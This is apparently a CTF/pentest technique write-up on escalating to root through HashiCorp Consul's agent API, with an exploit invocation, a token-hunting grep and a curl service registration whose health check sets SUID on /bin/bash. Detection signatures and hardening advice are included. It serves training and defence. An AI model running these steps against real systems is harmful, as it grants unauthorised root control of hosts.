RCE in HashiCorp Consul (service registration)
Consul (HashiCorp) discovers and monitors services across an infrastructure. Its agent exposes an HTTP API (port 8500 by default) and, among other things, lets you register services with health checks. The catch: a health check can be a script the agent runs, and the PUT /v1/agent/service/register endpoint doesn't sanitise that field, so registering a service with a malicious check turns into command execution on the agent's host (often root, since the agent usually runs as such).
Since the agent listens on localhost, you typically reach it after a port forward from the account you already control. If the API requires an ACL token, you recover it from the local configuration. Public exploits automate the registration and check trigger (for example, owalid/consul-rce):
ssh -L 8500:127.0.0.1:8500 <user>@<ip> # expose the local API
python3 consul_rce.py -th 127.0.0.1 -tp 8500 \
-ct <acl-token> -c "/bin/bash /tmp/tmp.sh" # tmp.sh: chmod u+s /bin/bash
/bin/bash -p # SUID + -p: root shellThe typical payload isn't a direct reverse shell but something that persists the privilege: mark /bin/bash as SUID and then call it with -p to keep root's EUID.
Without an exploit, the registration is done by hand with curl (after recovering the ACL token from the local config):
grep -ri 'token' /etc/consul.d/ /opt/consul/ 2>/dev/null # locate the ACL token
curl -s -X PUT http://127.0.0.1:8500/v1/agent/service/register \
-H "X-Consul-Token: <acl-token>" \
-d '{"Name":"pwn","Address":"127.0.0.1","check":{"Args":["/bin/bash","-c","chmod u+s /bin/bash"],"Interval":"10s"}}'
/bin/bash -pHow to detect it. The Consul-log signature is a PUT /v1/agent/service/register whose body includes a script-type health check ("args"/"script" with /bin/bash, chmod, curl), which a legitimate service registration never carries. Host-side confirmation is the consul (agent) process spawning sh/bash as a child when running the check (auditd/Sysmon for Linux over execve with ppid=consul), followed by the SUID /bin/bash. An agent with enable_script_checks=true is the exposure to audit.
Defence. Enable Consul ACLs with default deny, disable script-type checks (enable_script_checks=false, or use enable_local_script_checks carefully), don't expose the agent API and don't run the agent as root unless strictly necessary.
Machines where it's used
- AmbassadorHackTheBox
- HealHackTheBox